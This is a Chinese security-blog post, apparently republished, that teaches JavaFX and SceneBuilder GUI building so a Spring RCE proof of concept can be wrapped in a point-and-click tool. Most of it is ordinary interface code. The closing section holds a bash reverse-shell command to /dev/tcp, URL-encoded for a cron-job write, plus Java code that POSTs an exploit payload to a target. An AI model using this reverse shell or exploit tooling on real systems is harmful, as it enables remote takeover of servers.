从网络发包到图形化开发 | 技术精选0135
2022-5-18 18:0:34 Author: mp.weixin.qq.com(查看原文) 阅读量:11 收藏

本文约2600字,阅读约需8分钟。
一个月前,SpringRce漏洞火了,很快出现了py的poc。那时的我,还在用bp抓包,发包,然后error。
一个学代码审计的野人,路过图形化开发,从而一发不可收拾。
1
介绍
在jdk 1.0的时候,Sun公司提供了gui类,也就是awt。到现在,有十多年的历史了。
随后又推出了swing技术,awt和swing的方法都可以混合使用。
使用两个技术开发一个图形化的工具也不是很难,主要是拼接一些组件,如按钮,文本,下拉框等等。
但如果开发一款比较美观的界面,需要设置一些数值,如大小,x、y距离。组件都是方形,稍微圆角处理就不支持,或者自己写一个方法,难度稍微增大。
此时,JavaFX就出现了。方便,快捷,省去复杂的布局,只需要写逻辑代码就可以完成。
2
构建环境
我们使用jdk1.8。 编辑器(IDEA)为SceneBuilder 。
地址:https://www.oracle.com/java/technologies/javafxscenebuilder-1x-archive-downloads.html;
为什么采用1.8方便?内置JavaFX组件,高版本jdk,需要单独下载组件。
SceneBuilder是一种可视布局工具,允许用户快速设计JavaFX应用程序用户界面,而无需编码。
用户可以将UI组件拖放到工作区,修改其属性,应用样式表,并且,它们正在创建布局的FXML代码将在后台自动生成。
它的结果是一个FXML文件,然后可以通过绑定到应用程序的逻辑与Java项目组合。
安装后,IDE创建一个JavaFX项目。
File -> New -> Project:
Controller控制器储存如按钮、监听事件、文本处理等等。

Main中包含主程序启动项目的代码。
Sample.fxml使用SceneBuilder配置的文件,稍后会用到。
控制器代码是空的:
packagesample;
publicclassController {}

Main方法:

packagesample;
importjavafx.application.Application;importjavafx.fxml.FXMLLoader;importjavafx.scene.Parent;importjavafx.scene.Scene;importjavafx.stage.Stage;
publicclassMain extendsApplication { //继承Application 需要重写方法 @Override //创建一个舞台 可以理解为程序的界面 publicvoidstart(StageprimaryStage)throwsException{ //类加载器加载当前的fxml文件 Parent root =FXMLLoader.load(getClass().getResource("sample.fxml")); //设置一个title primaryStage.setTitle("HelloWorld"); //设置一个窗口大小 primaryStage.setScene(newScene(root,300,275)); //展示窗口 primaryStage.show(); }
publicstaticvoidmain(String[]args){ //运行程序 launch(args); }}
配置SceneBuilder
打开设置setting搜索框,输入JavaFX后有个路径,选择安装后的exe就ok了。
选择FXML文件就会显示了。有两种方式可以打开:第一个是选择文件,右键后点击最下面open in SceneBuilder。第二个是最下面Text旁边有个SceneBuilder。
3
功能讲解

先来说布局类型。

打开SceneBuilderContainers,会看到有很多的单词。每个单词代表一种布局样式。

BorderPane提供了5个放置节点的区域:top、bottom,、left,、right和 center:

此时我们随便拖拽一个按钮,都会出现五个位置。BorderPane让我们可以将之放到5个地方。
HBox是横向一一排列:

VBox是竖向一一排列:

StackPane是后来居上,新放的东西会覆盖原来的东西:
GridPane是一格一格的放,可以设置行和列:
FlowPane会一行一行的摆,放不下就拐到下一行:
SplitPane能用鼠标拖动的面板:
Accordion可以翻的页面:
TabPane一个一个的标签:
一个最简单的工具也需要有一个按钮,一个文本框,一个输出框。

下面我们聊聊标签。

//注意别导错包 importjavafx.scene.control.Label;
Labellabel =newLabel();
使用所有的组件前提条件就是要创建一个布局,布局就像是一个桌子,组件就像是桌子上的物品,先有前者,后有后者。
importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.Label;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;
publicclassdemo1 extendsApplication { @Override publicvoidstart(StageprimaryStage)throwsException{
BorderPane root =newBorderPane();
//创建一个标签 Labellabel =newLabel("我是标签"); //把标签放到bp布局的中间位置 root.setCenter(label);
primaryStage.setTitle("demo"); primaryStage.setScene(newScene(root,400,300)); primaryStage.show(); }}

接下来看看按钮。

importjavafx.scene.control.Button;Buttonbutton =newButton();
importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;
publicclassdemo1 extendsApplication { @Override publicvoidstart(StageprimaryStage)throwsException{
BorderPane root =newBorderPane();
//创建一个按钮 Buttonbutton =newButton("别碰我");
root.setCenter(button);
primaryStage.setTitle("demo"); primaryStage.setScene(newScene(root,400,300)); primaryStage.show(); }}
创建了按钮,该如何使用?比如我打开微信要发语音,我的步骤就是点击语音,然后录取我的声音,松开发送给对方。
此步骤在Java中也可以进行。只需要给按钮设置一个监听器,当你点击我,我就去执行某个动作。
所有的组件,添加监听器都是下面这个方法:
setOnAction();

这是一个添加的功能。在方法体里,设置一个匿名内部类,对里面的方法进行重写:

button.setOnAction(newEventHandler<ActionEvent>() { @Override public void handle(ActionEvent event) { // code // 这里就是写执行动作的代码 } });
importjavafx.application.Application;importjavafx.event.ActionEvent;importjavafx.event.EventHandler;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;
publicclassdemo1 extendsApplication { @Override publicvoidstart(StageprimaryStage)throwsException{
BorderPane root =newBorderPane();
//创建一个按钮 Buttonbutton =newButton("别碰我");
button.setOnAction(newEventHandler<ActionEvent>(){ @Override publicvoidhandle(ActionEventevent){ button.setText("尊贵的凯迪拉克车主,前方就是洗浴中心,请靠边停车"); } });
root.setCenter(button);
primaryStage.setTitle("demo"); primaryStage.setScene(newScene(root,400,300)); primaryStage.show(); }}
点击前:
点击后:

接下来看一下单行文本:

importjavafx.scene.control.TextField;TextFieldtextField =newTextField();importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.TextField;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;publicclassdemo1 extendsApplication {   @Override   publicvoidstart(StageprimaryStage)throwsException{       BorderPane root =newBorderPane();       TextFieldtextField =newTextField();       root.setCenter(textField);       primaryStage.setTitle("demo");       primaryStage.setScene(newScene(root,400,300));       primaryStage.show();   }}

然后是多行文本:

importjavafx.scene.control.TextArea;TextAreatextArea =newTextArea();
importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.TextArea;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;
publicclassdemo1 extendsApplication { @Override publicvoidstart(StageprimaryStage)throwsException{
BorderPane root =newBorderPane();
TextAreatextArea =newTextArea(); root.setCenter(textArea);
primaryStage.setTitle("demo"); primaryStage.setScene(newScene(root,400,300)); primaryStage.show(); }}

聊一聊布局嵌套。

如何使用多个布局类型进行嵌套呢?这里我们用到hbox布局和BorderPane布局。
hbox布局里存在文本行,一个按钮添加监听,添加我写的数据到文本区。BorderPane布局本身存在文本区。
packagesample;importjavafx.application.Application;importjavafx.event.ActionEvent;importjavafx.event.EventHandler;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.control.TextArea;importjavafx.scene.control.TextField;importjavafx.scene.layout.BorderPane;importjavafx.scene.layout.HBox;importjavafx.scene.layout.Priority;importjavafx.stage.Stage;publicclassDemo extendsApplication {   @Override   publicvoidstart(StageprimaryStage)throwsException{       //创建盒子       HBox hBox =newHBox();       //盒子里存放两个控件文本行和按钮        TextFieldtextField =newTextField();       Buttonbutton =newButton("添加");       TextAreatextArea =newTextArea();       //添加组件       hBox.getChildren().addAll(textField,button);       //让文本框占满水平方向的长度       HBox.setHgrow(textField,Priority.ALWAYS);       //在bp添加hbox盒子       BorderPane bp =newBorderPane();       bp.setTop(hBox);       bp.setCenter(textArea);       //按钮添加监听       button.setOnAction(newEventHandler<ActionEvent>(){           @Override           publicvoidhandle(ActionEventevent){               //获取文本行的内容发送给文本区里               Stringtext =textField.getText();               textArea.appendText(text+"\n");           }       });       primaryStage.setScene(newScene(bp,400,300));       primaryStage.show();   }}

页面布局

使用SceneBuilder完成工具布局:
拖拽tabpane 完成主要功能:
对每一个按钮,做一个事件监听,命名一个方法名。
然后给输入框设置一个ID,代表代码里的私有变量:
在功能栏可以查看页面布局:
在view里可查看自动生成的控制器代码:

功能分解

如何实现上传Shell?思路是获取输入栏里的url。

使用java.net.url包,发送post请求,并设置请求头:
HttpURLConnectionconn =(HttpURLConnection)exp_url.openConnection(); conn.setDoOutput(true); conn.setDoInput(true); conn.setUseCaches(false); conn.setRequestMethod("POST"); ·· · · · · conn.setRequestProperty("Content-Typ","application/x-www-form-urlencoded"); conn.connect();
Stringdata ="poc";
数据转字节发送:
byte[]paramByte=data.getBytes();conn.getOutputStream().write(paramByte);//传入参数的byte类型

定时任务中,反弹bash需要进行url编码,否则写定时任务出错,无法反弹:

Stringbash ="bash-c \"bash-i >& /dev/tcp/"+ip+"/"+port+"0>&1\"";Stringurl_encode =URLEncoder.encode(bash,"UTF-8");
发送post数据包参考上面代码,稍微修改下poc就可以。
4
实际效果
上传Shell:
反弹Shell:
当看到“反弹成功”四个大字,不禁心潮澎湃。尽管工具尚显单薄,也算是圆了自己的开发心愿。
- END -
往期推荐

记一次卑微的渗透测试

pwn入门之栈入门

MYSQL另类利用方式

长按下方图片即可关注
点击下方阅读原文,加入社群,读者作者无障碍交流
读完有话想说?点击留言按钮,让上万读者听到你的声音!

文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247499827&idx=1&sn=a49e3b976650c564175331503087df4e&chksm=9b3ae682ac4d6f9473db1cdd18a2d075da9f40c147294aabf8fc7c42c9e3f6d3b72bfa4fb9ac#rd
如有侵权请联系:admin#unsafe.sh